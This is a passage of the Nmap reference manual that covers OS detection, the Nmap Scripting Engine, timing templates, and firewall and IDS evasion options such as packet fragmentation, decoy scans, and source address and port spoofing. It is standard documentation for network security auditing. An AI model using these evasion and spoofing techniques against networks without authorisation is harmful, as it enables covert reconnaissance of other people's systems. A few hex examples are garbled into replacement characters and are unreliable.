–version-trace (Trace version scan activity)

This causes Nmap to print out extensive debugging info about what version scanning is doing. It is a subset of what you get with –packet-trace.

OS DETECTION

One of Nmaps best-known features is remote OS detection using TCP/IP stack fingerprinting. Nmap sends a series of TCP and UDP packets to the remote host and examines practically every bit in the responses. After performing dozens of tests such as TCP ISN sampling, TCP options support and ordering, IP ID sampling, and the initial window size check, Nmap compares the results to its nmap-os-db database of more than 2,600 known OS fingerprints and prints out the OS details if there is a match. Each fingerprint includes a freeform textual description of the OS, and a classification which provides the vendor name (e.g. Sun), underlying OS (e.g. Solaris), OS generation (e.g. 10), and device type (general purpose, router, switch, game console, etc). Most fingerprints also have a Common Platform Enumeration (CPE) representation, like cpe:/o:linux:linux_kernel:2.6.

If Nmap is unable to guess the OS of a machine, and conditions are good (e.g. at least one open port and one closed port were found), Nmap will provide a URL you can use to submit the fingerprint if you know (for sure) the OS running on the machine. By doing this you contribute to the pool of operating systems known to Nmap and thus it will be more accurate for everyone.

OS detection enables some other tests which make use of information that is gathered during the process anyway. One of these is TCP Sequence Predictability Classification. This measures approximately how hard it is to establish a forged TCP connection against the remote host. It is useful for exploiting source-IP based trust relationships (rlogin, firewall filters, etc) or for hiding the source of an attack. This sort of spoofing is rarely performed any more, but many machines are still vulnerable to it. The actual difficulty number is based on statistical sampling and may fluctuate. It is generally better to use the English classification such as “worthy challenge” or “trivial joke”. This is only reported in normal output in verbose (-v) mode. When verbose mode is enabled along with -O, IP ID sequence generation is also reported. Most machines are in the “incremental” class, which means that they increment the ID field in the IP header for each packet they send. This makes them vulnerable to several advanced information gathering and spoofing attacks.

Another bit of extra information enabled by OS detection is a guess at a targets uptime. This uses the TCP timestamp option (RFC 1323[9]) to guess when a machine was last rebooted. The guess can be inaccurate due to the timestamp counter not being initialized to zero or the counter overflowing and wrapping around, so it is printed only in verbose mode.

A paper documenting the workings, usage, and customization of OS detection is available at https://nmap.org/book/osdetect.html.

OS detection is enabled and controlled with the following options:

-O (Enable OS detection)

Enables OS detection, as discussed above. Alternatively, you can use -A to enable OS detection along with other things.

–osscan-limit (Limit OS detection to promising targets)

OS detection is far more effective if at least one open and one closed TCP port are found. Set this option and Nmap will not even try OS detection against hosts that do not meet this criteria. This can save substantial time, particularly on -Pn scans against many hosts. It only matters when OS detection is requested with -O or -A.

–osscan-guess; –fuzzy (Guess OS detection results)

When Nmap is unable to detect a perfect OS match, it sometimes offers up near-matches as possibilities. The match has to be very close for Nmap to do this by default. Either of these (equivalent) options make Nmap guess more aggressively. Nmap will still tell you when an imperfect match is printed and display its confidence level (percentage) for each guess.

–max-os-tries (Set the maximum number of OS detection tries against a target)

When Nmap performs OS detection against a target and fails to find a perfect match, it usually repeats the attempt. By default, Nmap tries five times if conditions are favorable for OS fingerprint submission, and twice when conditions arent so good. Specifying a lower –max-os-tries value (such as 1) speeds Nmap up, though you miss out on retries which could potentially identify the OS. Alternatively, a high value may be set to allow even more retries when conditions are favorable. This is rarely done, except to generate better fingerprints for submission and integration into the Nmap OS database.

NMAP SCRIPTING ENGINE (NSE)

The Nmap Scripting Engine (NSE) is one of Nmaps most powerful and flexible features. It allows users to write (and share) simple scripts (using the Lua programming language[10]

) to automate a wide variety of networking tasks. Those scripts are executed in parallel with the speed and efficiency you expect from Nmap. Users can rely on the growing and diverse set of scripts distributed with Nmap, or write their own to meet custom needs.

Tasks we had in mind when creating the system include network discovery, more sophisticated version detection, vulnerability detection. NSE can even be used for vulnerability exploitation.

To reflect those different uses and to simplify the choice of which scripts to run, each script contains a field associating it with one or more categories. Currently defined categories are auth, broadcast, default. discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln. These are all described at https://nmap.org/book/nse-usage.html#nse-categories.

Scripts are not run in a sandbox and thus could accidentally or maliciously damage your system or invade your privacy. Never run scripts from third parties unless you trust the authors or have carefully audited the scripts yourself.

The Nmap Scripting Engine is described in detail at https://nmap.org/book/nse.html

and is controlled by the following options:

-sC

Performs a script scan using the default set of scripts. It is equivalent to –script=default. Some of the scripts in this category are considered intrusive and should not be run against a target network without permission.

–script filename**|category|directory/|expression[,…]**

Runs a script scan using the comma-separated list of filenames, script categories, and directories. Each element in the list may also be a Boolean expression describing a more complex set of scripts. Each element is interpreted first as an expression, then as a category, and finally as a file or directory name.

There are two special features for advanced users only. One is to prefix script names and expressions with + to force them to run even if they normally wouldnt (e.g. the relevant service wasnt detected on the target port). The other is that the argument all may be used to specify every script in Nmaps database. Be cautious with this because NSE contains dangerous scripts such as exploits, brute force authentication crackers, and denial of service attacks.

File and directory names may be relative or absolute. Absolute names are used directly. Relative paths are looked for in the scripts of each of the following places until found:

–datadir

$NMAPDIR

~/.nmap (not searched on Windows)

APPDATA map (only on Windows)

the directory containing the nmap executable

the directory containing the nmap executable, followed by ../share/nmap (not searched on Windows)

NMAPDATADIR (not searched on Windows)

the current directory.

When a directory name ending in / is given, Nmap loads every file in the directory whose name ends with .nse. All other files are ignored and directories are not searched recursively. When a filename is given, it does not have to have the .nse extension; it will be added automatically if necessary. Nmap scripts are stored in a scripts subdirectory of the Nmap data directory by default (see https://nmap.org/book/data-files.html).

For efficiency, scripts are indexed in a database stored in scripts/script.db, which lists the category or categories in which each script belongs. When referring to scripts from script.db by name, you can use a shell-style ‘*’ wildcard.

nmap –script “http-*”

Loads all scripts whose name starts with http-, such as http-auth and http-open-proxy. The argument to –script had to be in quotes to protect the wildcard from the shell.

More complicated script selection can be done using the and, or, and not operators to build Boolean expressions. The operators have the same precedence[11] as in Lua: not is the highest, followed by and and then or. You can alter precedence by using parentheses. Because expressions contain space characters it is necessary to quote them.

nmap –script “not intrusive”

Loads every script except for those in the intrusive category.

nmap –script “default or safe”

This is functionally equivalent to nmap –script “default,safe”. It loads all scripts that are in the default category or the safe category or both.

nmap –script “default and safe”

Loads those scripts that are in both the default and safe categories.

nmap –script “(default or safe or intrusive) and not http-*”

Loads scripts in the default, safe, or intrusive categories, except for those whose names start with http-.

–script-args n1**=v1,n2={n3=v3},n4={v4,v5}**

Lets you provide arguments to NSE scripts. Arguments are a comma-separated list of name=value pairs. Names and values may be strings not containing whitespace or the characters ‘{’, ‘}’, ‘=’, or ‘,’. To include one of these characters in a string, enclose the string in single or double quotes. Within a quoted string, ‘\ escapes a quote. A backslash is only used to escape quotation marks in this special case; in all other cases a backslash is interpreted literally. Values may also be tables enclosed in {}, just as in Lua. A table may contain simple string values or more name-value pairs, including nested tables. Many scripts qualify their arguments with the script name, as in xmpp-info.server_name. You may use that full qualified version to affect just the specified script, or you may pass the unqualified version (server_name in this case) to affect all scripts using that argument name. A script will first check for its fully qualified argument name (the name specified in its documentation) before it accepts an unqualified argument name. A complex example of script arguments is –script-args user=foo,pass=",{}=bar",whois={whodb=nofollow+ripe},xmpp-info.server_name=localhost. The online NSE Documentation Portal at https://nmap.org/nsedoc/ lists the arguments that each script accepts.

–script-args-file filename

Lets you load arguments to NSE scripts from a file. Any arguments on the command line supersede ones in the file. The file can be an absolute path, or a path relative to Nmaps usual search path (NMAPDIR, etc.) Arguments can be comma-separated or newline-separated, but otherwise follow the same rules as for –script-args, without requiring special quoting and escaping, since they are not parsed by the shell.

–script-help filename**|category|directory|expression|all[,…]**

Shows help about scripts. For each script matching the given specification, Nmap prints the script name, its categories, and its description. The specifications are the same as those accepted by –script; so for example if you want help about the ftp-anon script, you would run nmap –script-help ftp-anon. In addition to getting help for individual scripts, you can use this as a preview of what scripts will be run for a specification, for example with nmap –script-help default.

–script-trace

This option does what –packet-trace does, just one ISO layer higher. If this option is specified all incoming and outgoing communication performed by a script is printed. The displayed information includes the communication protocol, the source, the target and the transmitted data. If more than 5% of all transmitted data is not printable, then the trace output is in a hex dump format. Specifying –packet-trace enables script tracing too.

–script-updatedb

This option updates the script database found in scripts/script.db which is used by Nmap to determine the available default scripts and categories. It is only necessary to update the database if you have added or removed NSE scripts from the default scripts directory or if you have changed the categories of any script. This option is generally used by itself: nmap –script-updatedb.

TIMING AND PERFORMANCE

One of my highest Nmap development priorities has always been performance. A default scan (nmap hostname) of a host on my local network takes a fifth of a second. That is barely enough time to blink, but adds up when you are scanning hundreds or thousands of hosts. Moreover, certain scan options such as UDP scanning and version detection can increase scan times substantially. So can certain firewall configurations, particularly response rate limiting. While Nmap utilizes parallelism and many advanced algorithms to accelerate these scans, the user has ultimate control over how Nmap runs. Expert users carefully craft Nmap commands to obtain only the information they care about while meeting their time constraints.

Techniques for improving scan times include omitting non-critical tests, and upgrading to the latest version of Nmap (performance enhancements are made frequently). Optimizing timing parameters can also make a substantial difference. Those options are listed below.

Some options accept a time parameter. This is specified in seconds by default, though you can append ‘ms’, ‘s’, ‘m’, or ‘h’ to the value to specify milliseconds, seconds, minutes, or hours. So the –host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing.

–min-hostgroup numhosts; –max-hostgroup numhosts (Adjust parallel scan group sizes)

Nmap has the ability to port scan or version scan multiple hosts in parallel. Nmap does this by dividing the target IP space into groups and then scanning one group at a time. In general, larger groups are more efficient. The downside is that host results cant be provided until the whole group is finished. So if Nmap started out with a group size of 50, the user would not receive any reports (except for the updates offered in verbose mode) until the first 50 hosts are completed.

By default, Nmap takes a compromise approach to this conflict. It starts out with a group size as low as five so the first results come quickly and then increases the groupsize to as high as 1024. The exact default numbers depend on the options given. For efficiency reasons, Nmap uses larger group sizes for UDP or few-port TCP scans.

When a maximum group size is specified with –max-hostgroup, Nmap will never exceed that size. Specify a minimum size with –min-hostgroup and Nmap will try to keep group sizes above that level. Nmap may have to use smaller groups than you specify if there are not enough target hosts left on a given interface to fulfill the specified minimum. Both may be set to keep the group size within a specific range, though this is rarely desired.

These options do not have an effect during the host discovery phase of a scan. This includes plain ping scans (-sn). Host discovery always works in large groups of hosts to improve speed and accuracy.

The primary use of these options is to specify a large minimum group size so that the full scan runs more quickly. A common choice is 256 to scan a network in /24 sized chunks. For a scan with many ports, exceeding that number is unlikely to help much. For scans of just a few port numbers, host group sizes of 2048 or more may be helpful.

–min-parallelism numprobes; –max-parallelism numprobes (Adjust probe parallelization)

These options control the total number of probes that may be outstanding for a host group. They are used for port scanning and host discovery. By default, Nmap calculates an ever-changing ideal parallelism based on network performance. If packets are being dropped, Nmap slows down and allows fewer outstanding probes. The ideal probe number slowly rises as the network proves itself worthy. These options place minimum or maximum bounds on that variable. By default, the ideal parallelism can drop to one if the network proves unreliable and rise to several hundred in perfect conditions.

The most common usage is to set –min-parallelism to a number higher than one to speed up scans of poorly performing hosts or networks. This is a risky option to play with, as setting it too high may affect accuracy. Setting this also reduces Nmaps ability to control parallelism dynamically based on network conditions. A value of 10 might be reasonable, though I only adjust this value as a last resort.

The –max-parallelism option is sometimes set to one to prevent Nmap from sending more than one probe at a time to hosts. The –scan-delay option, discussed later, is another way to do this.

–min-rtt-timeout time, –max-rtt-timeout time, –initial-rtt-timeout time (Adjust probe timeouts)

Nmap maintains a running timeout value for determining how long it will wait for a probe response before giving up or retransmitting the probe. This is calculated based on the response times of previous probes.

If the network latency shows itself to be significant and variable, this timeout can grow to several seconds. It also starts at a conservative (high) level and may stay that way for a while when Nmap scans unresponsive hosts.

Specifying a lower –max-rtt-timeout and –initial-rtt-timeout than the defaults can cut scan times significantly. This is particularly true for pingless (-Pn) scans, and those against heavily filtered networks. Dont get too aggressive though. The scan can end up taking longer if you specify such a low value that many probes are timing out and retransmitting while the response is in transit.

If all the hosts are on a local network, 100 milliseconds (–max-rtt-timeout 100ms) is a reasonable aggressive value. If routing is involved, ping a host on the network first with the ICMP ping utility, or with a custom packet crafter such as Nping that is more likely to get through a firewall. Look at the maximum round trip time out of ten packets or so. You might want to double that for the –initial-rtt-timeout and triple or quadruple it for the –max-rtt-timeout. I generally do not set the maximum RTT below 100 ms, no matter what the ping times are. Nor do I exceed 1000 ms.

–min-rtt-timeout is a rarely used option that could be useful when a network is so unreliable that even Nmaps default is too aggressive. Since Nmap only reduces the timeout down to the minimum when the network seems to be reliable, this need is unusual and should be reported as a bug to the nmap-dev mailing list.

–max-retries numtries (Specify the maximum number of port scan probe retransmissions)

When Nmap receives no response to a port scan probe, it could mean the port is filtered. Or maybe the probe or response was simply lost on the network. It is also possible that the target host has rate limiting enabled that temporarily blocked the response. So Nmap tries again by retransmitting the initial probe. If Nmap detects poor network reliability, it may try many more times before giving up on a port. While this benefits accuracy, it also lengthens scan times. When performance is critical, scans may be sped up by limiting the number of retransmissions allowed. You can even specify –max-retries 0 to prevent any retransmissions, though that is only recommended for situations such as informal surveys where occasional missed ports and hosts are acceptable.

The default (with no -T template) is to allow ten retransmissions. If a network seems reliable and the target hosts arent rate limiting, Nmap usually only does one retransmission. So most target scans arent even affected by dropping –max-retries to a low value such as three. Such values can substantially speed scans of slow (rate limited) hosts. You usually lose some information when Nmap gives up on ports early, though that may be preferable to letting the –host-timeout expire and losing all information about the target.

–host-timeout time (Give up on slow target hosts)

Some hosts simply take a long time to scan. This may be due to poorly performing or unreliable networking hardware or software, packet rate limiting, or a restrictive firewall. The slowest few percent of the scanned hosts can eat up a majority of the scan time. Sometimes it is best to cut your losses and skip those hosts initially. Specify –host-timeout with the maximum amount of time you are willing to wait. For example, specify 30m to ensure that Nmap doesnt waste more than half an hour on a single host. Note that Nmap may be scanning other hosts at the same time during that half an hour, so it isnt a complete loss. A host that times out is skipped. No port table, OS detection, or version detection results are printed for that host.

The special value 0 can be used to mean “no timeout”, which can be used to override the T5 timing template, which sets the host timeout to 15 minutes.

–script-timeout time

While some scripts complete in fractions of a second, others can take hours or more depending on the nature of the script, arguments passed in, network and application conditions, and more. The –script-timeout option sets a ceiling on script execution time. Any script instance which exceeds that time will be terminated and no output will be shown. If debugging (-d) is enabled, Nmap will report on each timeout. For host and service scripts, a script instance only scans a single target host or port and the timeout period will be reset for the next instance.

The special value 0 can be used to mean “no timeout”, which can be used to override the T5 timing template, which sets the script timeout to 10 minutes.

–scan-delay time; –max-scan-delay time (Adjust delay between probes)

This option causes Nmap to wait at least the given amount of time between each probe it sends to a given host. This is particularly useful in the case of rate limiting. Solaris machines (among many others) will usually respond to UDP scan probe packets with only one ICMP message per second. Any more than that sent by Nmap will be wasteful. A –scan-delay of 1s will keep Nmap at that slow rate. Nmap tries to detect rate limiting and adjust the scan delay accordingly, but it doesnt hurt to specify it explicitly if you already know what rate works best.

When Nmap adjusts the scan delay upward to cope with rate limiting, the scan slows down dramatically. The –max-scan-delay option specifies the largest delay that Nmap will allow. A low –max-scan-delay can speed up Nmap, but it is risky. Setting this value too low can lead to wasteful packet retransmissions and possible missed ports when the target implements strict rate limiting.

Another use of –scan-delay is to evade threshold based intrusion detection and prevention systems (IDS/IPS).

–min-rate number; –max-rate number (Directly control the scanning rate)

Nmaps dynamic timing does a good job of finding an appropriate speed at which to scan. Sometimes, however, you may happen to know an appropriate scanning rate for a network, or you may have to guarantee that a scan will be finished by a certain time. Or perhaps you must keep Nmap from scanning too quickly. The –min-rate and –max-rate options are designed for these situations.

When the –min-rate option is given Nmap will do its best to send packets as fast as or faster than the given rate. The argument is a positive real number representing a packet rate in packets per second. For example, specifying –min-rate 300 means that Nmap will try to keep the sending rate at or above 300 packets per second. Specifying a minimum rate does not keep Nmap from going faster if conditions warrant.

Likewise, –max-rate limits a scans sending rate to a given maximum. Use –max-rate 100, for example, to limit sending to 100 packets per second on a fast network. Use –max-rate 0.1 for a slow scan of one packet every ten seconds. Use –min-rate and –max-rate together to keep the rate inside a certain range.

These two options are global, affecting an entire scan, not individual hosts. They only affect port scans and host discovery scans. Other features like OS detection implement their own timing.

There are two conditions when the actual scanning rate may fall below the requested minimum. The first is if the minimum is faster than the fastest rate at which Nmap can send, which is dependent on hardware. In this case Nmap will simply send packets as fast as possible, but be aware that such high rates are likely to cause a loss of accuracy. The second case is when Nmap has nothing to send, for example at the end of a scan when the last probes have been sent and Nmap is waiting for them to time out or be responded to. Its normal to see the scanning rate drop at the end of a scan or in between hostgroups. The sending rate may temporarily exceed the maximum to make up for unpredictable delays, but on average the rate will stay at or below the maximum.

Specifying a minimum rate should be done with care. Scanning faster than a network can support may lead to a loss of accuracy. In some cases, using a faster rate can make a scan take longer than it would with a slower rate. This is because Nmaps adaptive retransmission algorithms will detect the network congestion caused by an excessive scanning rate and increase the number of retransmissions in order to improve accuracy. So even though packets are sent at a higher rate, more packets are sent overall. Cap the number of retransmissions with the –max-retries option if you need to set an upper limit on total scan time.

–defeat-rst-ratelimit

Many hosts have long used rate limiting to reduce the number of ICMP error messages (such as port-unreachable errors) they send. Some systems now apply similar rate limits to the RST (reset) packets they generate. This can slow Nmap down dramatically as it adjusts its timing to reflect those rate limits. You can tell Nmap to ignore those rate limits (for port scans such as SYN scan which dont treat non-responsive ports as open) by specifying –defeat-rst-ratelimit.

Using this option can reduce accuracy, as some ports will appear non-responsive because Nmap didnt wait long enough for a rate-limited RST response. With a SYN scan, the non-response results in the port being labeled filtered rather than the closed state we see when RST packets are received. This option is useful when you only care about open ports, and distinguishing between closed and filtered ports isnt worth the extra time.

–defeat-icmp-ratelimit

Similar to –defeat-rst-ratelimit, the –defeat-icmp-ratelimit option trades accuracy for speed, increasing UDP scanning speed against hosts that rate-limit ICMP error messages. Because this option causes Nmap to not delay in order to receive the port unreachable messages, a non-responsive port will be labeled closed|filtered instead of the default open|filtered. This has the effect of only treating ports which actually respond via UDP as open. Since many UDP services do not respond in this way, the chance for inaccuracy is greater with this option than with –defeat-rst-ratelimit.

–nsock-engine iocp|epoll|kqueue|poll|select

Enforce use of a given nsock IO multiplexing engine. Only the select(2)-based fallback engine is guaranteed to be available on your system. Engines are named after the name of the IO management facility they leverage. Engines currently implemented are epoll, kqueue, poll, and select, but not all will be present on any platform. By default, Nmap will use the “best” engine, i.e. the first one in this list that is supported. Use nmap -V to see which engines are supported on your platform.

-T paranoid|sneaky|polite|normal|aggressive|insane (Set a timing template)

While the fine-grained timing controls discussed in the previous section are powerful and effective, some people find them confusing. Moreover, choosing the appropriate values can sometimes take more time than the scan you are trying to optimize. Fortunately, Nmap offers a simpler approach, with six timing templates. You can specify them with the -T option and their number (0–5) or their name. The template names are paranoid (0), sneaky (1), polite (2), normal (3), aggressive (4), and insane (5). The first two are for IDS evasion. Polite mode slows down the scan to use less bandwidth and target machine resources. Normal mode is the default and so -T3 does nothing. Aggressive mode speeds scans up by making the assumption that you are on a reasonably fast and reliable network. Finally insane mode assumes that you are on an extraordinarily fast network or are willing to sacrifice some accuracy for speed.

These templates allow the user to specify how aggressive they wish to be, while leaving Nmap to pick the exact timing values. The templates also make some minor speed adjustments for which fine-grained control options do not currently exist. For example, -T4 prohibits the dynamic scan delay from exceeding 10 ms for TCP ports and -T5 caps that value at 5 ms. Templates can be used in combination with fine-grained controls, and the fine-grained controls that you specify will take precedence over the timing template default for that parameter. I recommend using -T4 when scanning reasonably modern and reliable networks. Keep that option even when you add fine-grained controls so that you benefit from those extra minor optimizations that it enables.

If you are on a decent broadband or ethernet connection, I would recommend always using -T4. Some people love -T5 though it is too aggressive for my taste. People sometimes specify -T2 because they think it is less likely to crash hosts or because they consider themselves to be polite in general. They often dont realize just how slow -T polite really is. Their scan may take ten times longer than a default scan. Machine crashes and bandwidth problems are rare with the default timing options (-T3) and so I normally recommend that for cautious scanners. Omitting version detection is far more effective than playing with timing values at reducing these problems.

While -T0 and -T1 may be useful for avoiding IDS alerts, they will take an extraordinarily long time to scan thousands of machines or ports. For such a long scan, you may prefer to set the exact timing values you need rather than rely on the canned -T0 and -T1 values.

The main effects of T0 are serializing the scan so only one port is scanned at a time, and waiting five minutes between sending each probe. T1 and T2 are similar but they only wait 15 seconds and 0.4 seconds, respectively, between probes. T3 is Nmaps default behavior, which includes parallelization. -T4 does the equivalent of –max-rtt-timeout 1250ms –min-rtt-timeout 100ms –initial-rtt-timeout 500ms –max-retries 6 and sets the maximum TCP and SCTP scan delay to 10ms. T5 does the equivalent of –max-rtt-timeout 300ms –min-rtt-timeout 50ms –initial-rtt-timeout 250ms –max-retries 2 –host-timeout 15m –script-timeout 10m as well as setting the maximum TCP and SCTP scan delay to 5ms. Maximum UDP scan delay is not set by T4 or T5, but it can be set with the –max-scan-delay option.

FIREWALL/IDS EVASION AND SPOOFING

Many Internet pioneers envisioned a global open network with a universal IP address space allowing virtual connections between any two nodes. This allows hosts to act as true peers, serving and retrieving information from each other. People could access all of their home systems from work, changing the climate control settings or unlocking the doors for early guests. This vision of universal connectivity has been stifled by address space shortages and security concerns. In the early 1990s, organizations began deploying firewalls for the express purpose of reducing connectivity. Huge networks were cordoned off from the unfiltered Internet by application proxies, network address translation, and packet filters. The unrestricted flow of information gave way to tight regulation of approved communication channels and the content that passes over them.

Network obstructions such as firewalls can make mapping a network exceedingly difficult. It will not get any easier, as stifling casual reconnaissance is often a key goal of implementing the devices. Nevertheless, Nmap offers many features to help understand these complex networks, and to verify that filters are working as intended. It even supports mechanisms for bypassing poorly implemented defenses. One of the best methods of understanding your network security posture is to try to defeat it. Place yourself in the mind-set of an attacker, and deploy techniques from this section against your networks. Launch an FTP bounce scan, idle scan, fragmentation attack, or try to tunnel through one of your own proxies.

In addition to restricting network activity, companies are increasingly monitoring traffic with intrusion detection systems (IDS). All of the major IDSs ship with rules designed to detect Nmap scans because scans are sometimes a precursor to attacks. Many of these products have recently morphed into intrusion prevention systems (IPS) that actively block traffic deemed malicious. Unfortunately for network administrators and IDS vendors, reliably detecting bad intentions by analyzing packet data is a tough problem. Attackers with patience, skill, and the help of certain Nmap options can usually pass by IDSs undetected. Meanwhile, administrators must cope with large numbers of false positive results where innocent activity is misdiagnosed and alerted on or blocked.

Occasionally people suggest that Nmap should not offer features for evading firewall rules or sneaking past IDSs. They argue that these features are just as likely to be misused by attackers as used by administrators to enhance security. The problem with this logic is that these methods would still be used by attackers, who would just find other tools or patch the functionality into Nmap. Meanwhile, administrators would find it that much harder to do their jobs. Deploying only modern, patched FTP servers is a far more powerful defense than trying to prevent the distribution of tools implementing the FTP bounce attack.

There is no magic bullet (or Nmap option) for detecting and subverting firewalls and IDS systems. It takes skill and experience. A tutorial is beyond the scope of this reference guide, which only lists the relevant options and describes what they do.

-f (fragment packets); –mtu (using the specified MTU)

The -f option causes the requested scan (including host discovery scans) to use tiny fragmented IP packets. The idea is to split up the TCP header over several packets to make it harder for packet filters, intrusion detection systems, and other annoyances to detect what you are doing. Be careful with this! Some programs have trouble handling these tiny packets. The old-school sniffer named Sniffit segmentation faulted immediately upon receiving the first fragment. Specify this option once, and Nmap splits the packets into eight bytes or less after the IP header. So a 20-byte TCP header would be split into three packets. Two with eight bytes of the TCP header, and one with the final four. Of course each fragment also has an IP header. Specify -f again to use 16 bytes per fragment (reducing the number of fragments). Or you can specify your own offset size with the –mtu option. Dont also specify -f if you use –mtu. The offset must be a multiple of eight. While fragmented packets wont get by packet filters and firewalls that queue all IP fragments, such as the CONFIG_IP_ALWAYS_DEFRAG option in the Linux kernel, some networks cant afford the performance hit this causes and thus leave it disabled. Others cant enable this because fragments may take different routes into their networks. Some source systems defragment outgoing packets in the kernel. Linux with the iptables connection tracking module is one such example. Do a scan while a sniffer such as Wireshark is running to ensure that sent packets are fragmented. If your host OS is causing problems, try the –send-eth option to bypass the IP layer and send raw ethernet frames.

Fragmentation is only supported for Nmaps raw packet features, which includes TCP and UDP port scans (except connect scan and FTP bounce scan) and OS detection. Features such as version detection and the Nmap Scripting Engine generally dont support fragmentation because they rely on your hosts TCP stack to communicate with target services.

-D decoy1**[,decoy2][,ME][,…]** (Cloak a scan with decoys)

Causes a decoy scan to be performed, which makes it appear to the remote host that the host(s) you specify as decoys are scanning the target network too. Thus their IDS might report 5–10 port scans from unique IP addresses, but they wont know which IP was scanning them and which were innocent decoys. While this can be defeated through router path tracing, response-dropping, and other active mechanisms, it is generally an effective technique for hiding your IP address.

Separate each decoy host with commas, and you can optionally use ME as one of the decoys to represent the position for your real IP address. If you put ME in the sixth position or later, some common port scan detectors (such as Solar Designers excellent Scanlogd) are unlikely to show your IP address at all. If you dont use ME, Nmap will put you in a random position. You can also use RND to generate a random, non-reserved IP address, or RND:number to generate number addresses.

Note that the hosts you use as decoys should be up or you might accidentally SYN flood your targets. Also it will be pretty easy to determine which host is scanning if only one is actually up on the network. You might want to use IP addresses instead of names (so the decoy networks dont see you in their nameserver logs). Right now random IP address generation is only supported with IPv4

Decoys are used both in the initial host discovery scan (using ICMP, SYN, ACK, or whatever) and during the actual port scanning phase. Decoys are also used during remote OS detection (-O). Decoys do not work with version detection or TCP connect scan. When a scan delay is in effect, the delay is enforced between each batch of spoofed probes, not between each individual probe. Because decoys are sent as a batch all at once, they may temporarily violate congestion control limits.

It is worth noting that using too many decoys may slow your scan and potentially even make it less accurate. Also, some ISPs will filter out your spoofed packets, but many do not restrict spoofed IP packets at all.

-S IP_Address (Spoof source address)

In some circumstances, Nmap may not be able to determine your source address (Nmap will tell you if this is the case). In this situation, use -S with the IP address of the interface you wish to send packets through.

Another possible use of this flag is to spoof the scan to make the targets think that someone else is scanning them. Imagine a company being repeatedly port scanned by a competitor! The -e option and -Pn are generally required for this sort of usage. Note that you usually wont receive reply packets back (they will be addressed to the IP you are spoofing), so Nmap wont produce useful reports.

-e interface (Use specified interface)

Tells Nmap what interface to send and receive packets on. Nmap should be able to detect this automatically, but it will tell you if it cannot.

–source-port portnumber**;** -g portnumber (Spoof source port number)

One surprisingly common misconfiguration is to trust traffic based only on the source port number. It is easy to understand how this comes about. An administrator will set up a shiny new firewall, only to be flooded with complaints from ungrateful users whose applications stopped working. In particular, DNS may be broken because the UDP DNS replies from external servers can no longer enter the network. FTP is another common example. In active FTP transfers, the remote server tries to establish a connection back to the client to transfer the requested file.

Secure solutions to these problems exist, often in the form of application-level proxies or protocol-parsing firewall modules. Unfortunately there are also easier, insecure solutions. Noting that DNS replies come from port 53 and active FTP from port 20, many administrators have fallen into the trap of simply allowing incoming traffic from those ports. They often assume that no attacker would notice and exploit such firewall holes. In other cases, administrators consider this a short-term stop-gap measure until they can implement a more secure solution. Then they forget the security upgrade.

Overworked network administrators are not the only ones to fall into this trap. Numerous products have shipped with these insecure rules. Even Microsoft has been guilty. The IPsec filters that shipped with Windows 2000 and Windows XP contain an implicit rule that allows all TCP or UDP traffic from port 88 (Kerberos). In another well-known case, versions of the Zone Alarm personal firewall up to 2.1.25 allowed any incoming UDP packets with the source port 53 (DNS) or 67 (DHCP).

Nmap offers the -g and –source-port options (they are equivalent) to exploit these weaknesses. Simply provide a port number and Nmap will send packets from that port where possible. Most scanning operations that use raw sockets, including SYN and UDP scans, support the option completely. The option notably doesnt have an effect for any operations that use normal operating system sockets, including DNS requests, TCP connect scan, version detection, and script scanning. Setting the source port also doesnt work for OS detection, because Nmap must use different port numbers for certain OS detection tests to work properly.

–data hex string (Append custom binary data to sent packets)

This option lets you include binary data as payload in sent packets. hex string may be specified in any of the following formats: 0xAABBCCDDEEFF*…, AABBCCDDEEFF…* or ������. Examples of use are –data 0xdeadbeef and **–data �� **. Note that if you specify a number like 0x00ff no byte-order conversion is performed. Make sure you specify the information in the byte order expected by the receiver.

–data-string string (Append custom string to sent packets)

This option lets you include a regular string as payload in sent packets. string can contain any string. However, note that some characters may depend on your systems locale and the receiver may not see the same information. Also, make sure you enclose the string in double quotes and escape any special characters from the shell. Examples: –data-string “Scan conducted by Security Ops, extension 7192” or –data-string “Ph34r my l33t skills”. Keep in mind that nobody is likely to actually see any comments left by this option unless they are carefully monitoring the network with a sniffer or custom IDS rules.

–data-length number (Append random data to sent packets)

Normally Nmap sends minimalist packets containing only a header. So its TCP packets are generally 40 bytes and ICMP echo requests are just 28. Some UDP ports and IP protocols get a custom payload by default. This option tells Nmap to append the given number of random bytes to most of the packets it sends, and not to use any protocol-specific payloads. (Use –data-length 0 for no random or protocol-specific payloads. OS detection (-O) packets are not affected because accuracy there requires probe consistency, but most pinging and portscan packets support this. It slows things down a little, but can make a scan slightly less conspicuous.

–ip-options R|S [route]|L [route]|T|U … ; –ip-options hex string (Send packets with specified ip options)

The IP protocol[12] offers several options which may be placed in packet headers. Unlike the ubiquitous TCP options, IP options are rarely seen due to practicality and security concerns. In fact, many Internet routers block the most dangerous options such as source routing. Yet options can still be useful in some cases for determining and manipulating the network route to target machines. For example, you may be able to use the record route option to determine a path to a target even when more traditional traceroute-style approaches fail. Or if your packets are being dropped by a certain firewall, you may be able to specify a different route with the strict or loose source routing options.

The most powerful way to specify IP options is to simply pass in values as the argument to –ip-options. Precede each hex number with \x then the two digits. You may repeat certain characters by following them with an asterisk and then the number of times you wish them to repeat. For example, �*36 is a hex string containing 36 NUL bytes.

Nmap also offers a shortcut mechanism for specifying options. Simply pass the letter R, T, or U to request record-route, record-timestamp, or both options together, respectively. Loose or strict source routing may be specified with an L or S followed by a space and then a space-separated list of IP addresses.

If you wish to see the options in packets sent and received, specify –packet-trace. For more information and examples of using IP options with Nmap, see https://seclists.org/nmap-dev/2006/q3/52.

–ttl value (Set IP time-to-live field)

Sets the IPv4 time-to-live field in sent packets to the given value.

–randomize-hosts (Randomize target host order)

Tells Nmap to shuffle each group of up to 16384 hosts before it scans them. This can make the scans less obvious to various network monitoring systems, especially when you combine it with slow timing options. If you want to randomize over larger group sizes, increase PING_GROUP_SZ in nmap.h and recompile. An alternative solution is to generate the target IP list with a list scan (-sL -n -oN filename), randomize it with a Perl script, then provide the whole list to Nmap with -iL.

–spoof-mac MAC address, prefix, or vendor name (Spoof MAC address)

Asks Nmap to use the given MAC address

